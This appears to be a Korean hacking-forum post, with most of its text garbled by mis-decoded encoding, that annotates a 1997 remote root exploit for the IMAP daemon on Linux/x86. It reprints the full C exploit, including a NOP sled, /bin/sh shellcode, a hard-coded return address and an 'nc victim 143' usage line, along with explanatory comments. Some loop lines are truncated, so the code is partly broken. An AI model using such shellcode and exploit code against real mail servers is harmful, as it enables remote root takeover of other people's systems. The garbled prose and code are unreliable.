ÇØÄ¿Áî´º½º / HACKERSNEWS
¡¡
¡¡


ÇØÄ¿Áî´º½º Á¦°ø ¸®´ª½ºÀÇ ¸ðµç°Í
 
 
No, 4
ȨÆäÀÌÁö: http://www.hackersnews.org
Á¶È¸: 411
¹öÆÛ¿À¹öÇ÷οì ÇØÅ· ¼Ò½º ÄÚµå ¼³¸í  
EXPLOIT À» º¸¸é¼­ ¼³¸íÇÏÁÒ...
¼³¸íÀ» ÁÖ¼®Ã³¸®¸¦ ÇϰڽÀ´Ï´Ù... ¼Ò½º´Â ¹ö±×Æ®·¦¿¡¼­ °¡Áö°í ¿Ô½À´Ï´Ù.

»ç½Ç Àúµµ ÀÚ¼¼ÇÑ ±¸¼º¿ø¸®³ª ±×·±°ÍÀº Àß ¾ËÁö ¸øÇÕ´Ï´Ù...

imap ÀÇ ½ÇÁ¦ ¼Ò½ºÄڵ带 º»ÀûÀÌ ¾ø°Åµç¿©..,, Àú ¹öÀüÀÇ imap ÀÌ¿©...

ÀÚ¼¼ÇÑ ±¸¼º¿ø¸®´Â ³ªÁß¿¡ ±âȸ°¡ µÇ¸é ÇØµå¸®°í¿©... Áö±ÝÀº ´ë·«ÀûÀÎ ³»¿ë

À» ¼³¸íÇØµå¸®°í... ´ë·«Àû ±¸¼º¿ø¸®¸¦ ¹è¿ì°í...¼Ò½º¸¦ ºÐ¼®ÇÏ´Â ±âȸ·Î °®ÁÒ.

¸ÕÀú ÀÌ imap ¹ö±×´Â buffer overflow¹ö±×ÀÔ´Ï´Ù.

±×¸®°í... remote(¿ø°ÝÁö)¿¡¼­ ±×·¯´Ï±î ¿ÜºÎ¿¡¼­¶õ ¸»ÀÌÁÒ...

¿ÜºÎ¿¡¼­ Çѹø¿¡ root·Î ¶³¾îÁö´Â °¡Àå ¹«¼­¿î ¹ö±×ÁÒ..

ÇÏÁö¸¸ ¿äÁò¹öÀüÀÇ ImapÀº °íÃÄÁ³½À´Ï´Ù.

________________________________________________________________________

/*
* IMAPd Linux/intel remote xploit by  savage@apostols.org  1997-April-05
*
* usage:
*      $ (imap 0; cat) | nc victim 143
*  
*              |
*              +--> usually from -1000 to 1000 ( try in steps of 100 )
*
*              [ I try 0, 100 and 200 - so1o ]
*/
/*  ¸®´ª½º¿¡¼­´Â Àú·± ¸í·É Çü½ÄÀÌ ±²ÀåÈ÷ Áß¿äÇÏÁÒ...
    ÀÛÀº ÆÄÀÏ ¿©·¯°³°¡ ¸ð¿© ±²ÀåÈ÷ °­·ÂÇÑ ÈûÀ» ¹ßÀ§ÇÏÁÒ... */

#include

char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh";
/* ¹öÆÛ ¿À¹ö Ç÷ο츦 ³»´Â ÇØÅ· ÄÚµåÀÔ´Ï´Ù. */

char username[1024+255];
/* º¯¼ö·Î À¯Àú³×ÀÓÀ» ÁöÁ¤Çسù±º¿ä... 1024+255°¡ ³ª¿Ô±º¿ä... ¿Ö 1279·Î ¾ÈÇϰí Àú
·¸°Ô ÇßÀ»±î¿©.. ¾Æ¸¶µµ IMAP ÇÁ·Î±×·¥¿¡¼­ login ÀԷºκÐÀ» CHAR ·Î ÇØ³í°Í °°±º¿ä.
CHAR´Â 255 ÀÎ°Í ¾Æ½ÃÁÒ? */

void main(int argc, char *argv[]) {
/* ÇÁ·Î±×·¥¿¡¼­ º¯¼ö¸¦ ¹Þ´Â ºÎºÐÀÌÁÒ... ÄÄÆÄÀÏÀ» IMAP-EX ¶ó°í ÇÑ´Ù¸é...
  $IMAP-EX 0 ÀÌ·¸°Ô »ç¿ëÇ϶ó°í À§¿¡ ³ª¿ÔÁÒ... ±×°É ÁöÁ¤ÇÏ´Â ºÎºÐÀÔ´Ï´Ù. */
     
       int i,a;
       long val;

/* ¿©·¯ º¯¼ö¸¦ ÁöÁ¤ÇØ ÁáÁÒ... »ç¿ëÀ» µÚ¿¡ ³ª¿À°ÚÁÒ.. ±×¶§ ¼³¸íÇұ^^ */

       if(argc>1)

/* ¸¸¾à IMAP-EX µÚ¿¡ ¼ýÀÚ°¡ 1º¸´Ù Å©´Ù¸é... */

               a=atoi(argv[1]);

/* ÀÔ·Â ¹ÞÀº ¼ýÀÚ¸¦ A ¿¡ ´ëÀÔÇØ¶ó */

       else
               a=0;

/* ±×·¸Áö ¾È´Ù¸é a¿¡ 0À» ÀÔ·ÂÇ϶ó... ¸¶À̳ʽº °ªÀ» ÀÔ·Â ¾ÊµÇµµ·Ï ÇÁ·Î±×·¡¹Ö
  ÇÑ°Í À̱º¿© */

       strcpy(username,shell);

/* ÀÌÁ¦ ¾Æ±î ÁöÁ¤Çß´ø username ¿¡ ¾Æ±î Á¦°¡ ¹öÆÛ¿À¹öÇ÷ο츦 ³»´Â ÄÚµå¶ó°í
  ¸»¾¸µå¸°°Í ÀÖÁÒ? ±×°É ´ëÀÔ½ÃŰ´Â °ÍÀÔ´Ï´Ù...
  ¾Æ¸¶µµ imap ¼­ºñ½º¿¡¼­ ÀԷºκÐ(id or pass)¿¡ Àú Äڵ带 ´ëÀÔ½Ãų°ÍÀΰ¡ º¸±º¿©
  ½½½½ ´«Ä¡ ±î½Ã´Â ºÐµµ °è½Ã°Ú±º¿ä.. ÀÚ¼¼ÇÑ ¼³¸íÀ» µÚ¿¡ ÇÕ´Ï´Ù. */

       for(i=strlen(username);i                username[i]=0x90; /* NOP */

/*
  strlen À̶ó´Â ÇÔ¼ö´Â °ªÀÇ ¸Þ¸ð¸® Å©±â¸¦ ±¸ÇØÁÖ´Â °ÍÀÔ´Ï´Ù.
  ¸Â³ª^^? ±×¸®°í sizeof ´Â ¹è¿­ÀÇ Å©±â¸¦ ±¸ÇØÁÖÁÒ...
  ¹è¿­ÀÌ ²ËÂû¶§±îÁö 1¾¿À» °è¼Ó ´õÇØÁÖ¸ç 0x90À̶ó´Â °ªÀ» ´ëÀÔÇØÁÖ°í À־
  ±×¸®°í ¹ØÀÇ ¼Ò½º¸¦ º¸¸é i=1024ºÎÅÍ Äڵ带 ´ëÀÔÇÏÁÒ? ±×·¡¼­ Á¦°¡ »ý°¢Çϰǵ¥
  sizeof(username) ´Â 1024°¡ ¾Æ´Ò±î¿©?? ±× Àü±îÁö ´Ù ´ëÀÔÀ» Çϴϱ...
  ±×´ÙÀ½ 1024ºÎÅÍ ´Ù¸¥°ªÀ» ´ëÀÔÇÏ¸é ¸»ÀÌ µÇ°ÚÁÒ?
*/

       val = 0xbffff501 + a;

/* ±×¸®°í ¾Æ±î ½ÇÇàÈ­ÀÏ µÚ¿¡ º¯¼ö°ªÀ» ´õÇØÁִ±º¿ä... ±×¸®°í valÀ̶ó´Â º¯¼ö¿¡
  ´ëÀÔÇÕ´Ï´Ù */

       for(i=1024;i        {
               username[i+0] = val & 0x000000ff;
               username[i+1] = (val & 0x0000ff00) >> 8;
               username[i+2] = (val & 0x00ff0000) >> 16;
               username[i+3] = (val & 0xff000000) >> 24;
       }
/*
  1024¶ó´Â °ªÀ» ½ÃÀÛÀ¸·Î À¯Àú³×ÀÓÀÇ ¸Þ¸ð¸®°ª-4 ÀÇ °ª±îÁö i¿¡ 4¾¿À» ´õÇØÁÖ¸ç
  for ¹®À» µ¹¸®°í ÀÖÁÒ... ³×? ±×·±°Ç ´Ù ¾È´Ù±¸¿©?? Á˼Û...^^
  ±×¸®°í username¿¡ ¹«¾ùÀΰ¡ Äڵ带 °è¼Ó ´ëÀÔÇØ ÁÖ°í ÀÖÁÒ?  
  ±×¸®°í ¸¶Áö¸· 4ÀÇ ¸Þ¸ð¸®¸¦ ³²°ÜÁÖ¾úÁÒ? ¹«½¼ ÀǹÌÀϱ?
  ¹Ù·Î ±× 4ÀǺκп¡ /bin/sh °¡ µé¾îÀÖÀ»²¯ °°Àºµ¥...
*/

       username[ sizeof(username)-1 ] = 0;
/* À¯Àú³×ÀÓÀÇ ¹è¿­¸¶Áö¸·¿¡ 0À» ³Ö¾îÁÖ¾ú½À´Ï´Ù. */

       printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);
/* ÀÌÁ¦ Ãâ·ÂÀ» ÇØÁÖÁÒ... ·Î±äÀ» ÇÏ´Â ¸í·É¾î °°Àºµ¥... */
/* IMAP ÇÁ·Î±×·¥¿¡¼­´Â [id] LOGIN [passwd] pass ÀÌ·±½ÄÀ¸·Î ·Î±äÀ» Çϳª º¾´Ï´Ù.*/
/* ¹Ù·Î À§¿¡ Àú·¸°Ô º¹ÀâÇÏ°Ô ´ëÀÔ½ÃŰ´ø Äڵ带 ÀÌÁ¦¾ß »ç¿ëÇÏÁÒ.. */  
}


¼Ò½º¸¦ ÂÓ ºÐ¼®ÇØ º¸¾Ò½À´Ï´Ù...

ÀÌÁ¦ ¾Æ½Ã°Ù³ª¿©?

¾Æ¸¶µµ Á¦°¡ »ý°¢Çϱ⿡´Â Àú ¹öÀüÀÇ imap ÇÁ·Î±×·¥ÀÌ..

ÆÐ½º¿öµå ÀԷºκÐÀÇ »çÀÌÁ äũÇÏÁö ¾Ê¾Æ¼­ »ý±â´Â buffer overflow(¹öÆÛ¿À¹öÇ÷Î

¿ì) ¸¦ ÀÌ¿ëÇÑ ÇØÅ·ÄÚµåÀÎ°Í °°½À´Ï´Ù.

imap ÇÁ·Î±×·¥Àº suid ÇÁ·Î±×·¥À̱⠶§¹®¿¡ Àú Äڵ带 ½ÇÇà½Ã۸é

¸®¸ðÆ®¿¡¼­ Çѹø¿¡ root°¡ µÇ¹ö¸±°Í °°½À´Ï´Ù.

ÀüüÀûÀÎ ±¸¼º¿ø¸®¸¦ º¸¸é...

À¯Àú³×ÀÓÀ̶ó´Â º¯¼ö¿¡... °è¼ÓÀûÀ¸·Î º¯¼ö¸¦ ³Ö¾îÁÖ°í ÀÖÁÒ...

±×°ÍÀÌ ³ªÁß¿¡ passwd ÀԷ¿¡ ¾²ÀÌÁÒ... Á¤¸» ÇÁ·Î±×·¥ ©¶§ Á¶½ÉÇØ¾ß °Ú¾î¿©..

ÀÌ·± »ç¼ÒÇѰ͵µ ÆÄ°íµé´Ù´Ï...

passwd ÀԷ¿¡ ¾öû³ª°Ô Å« °ªÀÌ ÀԷµǰí... ±×·¯¹Ç·Î¼­ imap À¸·Î overflow°¡ ³ª°í

¼Ð·Î ¶³¾îÁø´Ù¶ó´Â ¿ø¸® °°³×¿©.

´õ ÀÚ¼¼È÷ ÇØº¸¶ó±¸¿©? ³×.~

Àú Äڵ带 ÀÚ¼¼È÷ µé¿©´Ù º¸½Ã¸é... username ÀÇ º¯¼ö±îÁö Àú À§¿¡ ÀÖ´Â °ªÀ»

°è¼Ó ´ëÀÔ½ÃÄÑÁÖÁÒ? ±×·¯´Ï±î passwd ÀԷºκÐÀ» ²Ë ä¿ì´Â °Ì´Ï´Ù... ¾Æ½Ã°Ú³ª¿©?

À½~ ±×·¯´Ï±î [     ] <-À̸¸Å­ passwd ÀÇ ÀÔ·ÂÀ» ¹Þ´Â ¸Þ¸ð¸®°¡ ÀÖ´Ù¸é..

[#####] Àú ÄÚµåµé·Î ÀÌ·¸°Ô ²Ë ä¿öÁÖ°í ±× µÚ¿¡ /bin/sh °¡ µÇÁÒ...

char shell[]  ºÎºÐÀ» º¸½Ã¸é ¸¶Áö¸¸¿¡ /bin/sh°¡ ÀÖÁÒ ±×°ÍÀÔ´Ï´Ù.

±×·¡¼­ id ÀԷºκп¡ Àú·¸°Ô ÇØÁÖ°í... ±×·³ ¼Ð·Î ¶³¾îÁöÁÒ...

±×°Íµµ root »óÅ·Πµ¹¾Æ°¡´ø suid¶ó root·Î ¶³¾îÁöÁÒ... ¾öû³ªÁÒ?

____________________________________________________________________________

ÀÚ! Áö±Ý±îÁö °ú°Å¿¡ ¾ÆÁÖ À¯¸íÇß´ø imapÇÁ·Î±×·¥ÀÇ ¹öÆÛ¿À¹öÇ÷ο츦 ºÐ¼®Çߴµ¥

¾î¶°¼Ì³ª¿©?

Áú¹®Àº ¿©±â °Ô½ÃÆÇ¿¡ ÇØÁÖ¼¼¿ä... ¿©·¯ »ç¶÷ÀÌ °°ÀÌ ºÁ¾ß Çϴϱ...

Ãʺ¸ºÐ²²´Â Á» ¾î·Á¿ï²¯ °°³×¿©... ±×·¡¼­ Á¦°¡ Áú¹®À» ¹ÞÀ¸¸é ¾ÆÁÖ ÀÚ¼¼È÷ ÇØµå¸®ÁÒ

±×¸®°í Àúµµ Àΰ£À̱⠶§¹®¿¡ [Çò°¥¸²] À̶ó´Â°ÍÀÌ Á¸ÀçÇÕ´Ï´Ù.

±×·¯´Ï Á¦°¡ Ʋ¸°°ÍÀÌ ÀÖ´Ù!!! ÇÏ½Ã¸é °¡Â÷¾øÀÌ Ãæ°íÇØ ÁÖ¼¼¿ä...

exploit ºÐ¼®Àº ÇØÅ·°øºÎ¿¡ ¾öû³­ µµ¿òÀÌ µË´Ï´Ù.

¿Ö±×·±Áø ´Ù ¾Æ½Ã°ÚÁÒ? Àúó·³ imap¼Ò½º¸¦ ¾ÈºÁµµ Àú exploit ¸¸À¸·Î

±¸¼º¿ø¸®¸¦ ¾Ë¾ÆÂ÷·È½À´Ï´Ù. µû¶ó¼­ ºñ½ÁÇÑ °æ¿ì ¹®Á¦°¡ »ý±â¸é... ¿©·¯ºÐÀÌ Àú°É

ÀÀ¿ëÇØ È¥ÀÚ ¼Ò½º¸¦ ©¼öµµ ÀÖ°ÚÁÒ .^^.

±×·¯¸é... ÁøÁ¤ÇÑ ÇØÄ¿ÀÇ °è¿­¿¡ ¿Ã¶ó¼­´Â °ÍÀÔ´Ï´Ù.

## ´ÙÀ½¿¡´Â Á»´õ Àß °­ÀǸ¦ ÇϰڽÀ´Ï´Ù. ##

bugtraq ¿¡ °¡½Ã¸é Áö±Ý±îÁö °ø°³µÈ °ÅÀÇ ¸ðµç exploit ÀÌ ÀÖ½À´Ï´Ù.

½º½º·Î ºÐ¼®ÇØ º¸½Ã±¸¿©...

¿ø·¡´Â ¸ÞÀϸµ ¸®½ºÆ®Àε¥ ³Ñ À¯¸íÇÏ´Ù º¸´Ï ±× ¸ÞÀϵéÀ» ¸ð¾Æ³í site°¡ »ý±â´Â±º¿©

yahoo µî¿¡¼­ bugtraqÀ̶ó°í Ä¡½Ã¸é ³ª¿Ã²®´Ï´Ù.

±×·³ À̸¸~


                    ¼öÁ¤/»èÁ¦     ÀÌÀü±Û ´ÙÀ½±Û    
¹øÈ£Á¦ ¸ñÀÛ¼ºÀÏÁ¶È¸
10   Pipes ¸í·É 05-21  210
9   ÆÄÀÏ ÀÚµ¿ ¹é¾÷ Çϱâ 05-20  222
8   vi ^M ¹®ÀÚ ¾ø¾Ö´Â ¶Ç´Ù¸¥ ¹æ¹ý 05-19  245
7   Telnet, Ssh ƯÁ¤ °èÁ¤ Á¢¼Ó ¹æÁö 05-18  306
6   °¢ Æ÷Æ®º° TCP/UDP ¼­ºñ½º 05-17  343
5   Çΰø°ÝÀÇ Çã¿Í½Ç 05-17  438
4   ¹öÆÛ¿À¹öÇ÷οì ÇØÅ· ¼Ò½º ÄÚµå ¼³¸í 05-17  410
3   shell Á¾·ù¿Í,º¯°æÇϱâ 05-16  253
2   man °ú info »ç¿ë¹ý 05-16  270
1   ½ºÆÔ¸ÞÀÏ ÃßÀûÇϱâ 05-15  630
 
 

 
óÀ½ ÀÌÀü       ¸ñ·Ï Ȩ ¾²±â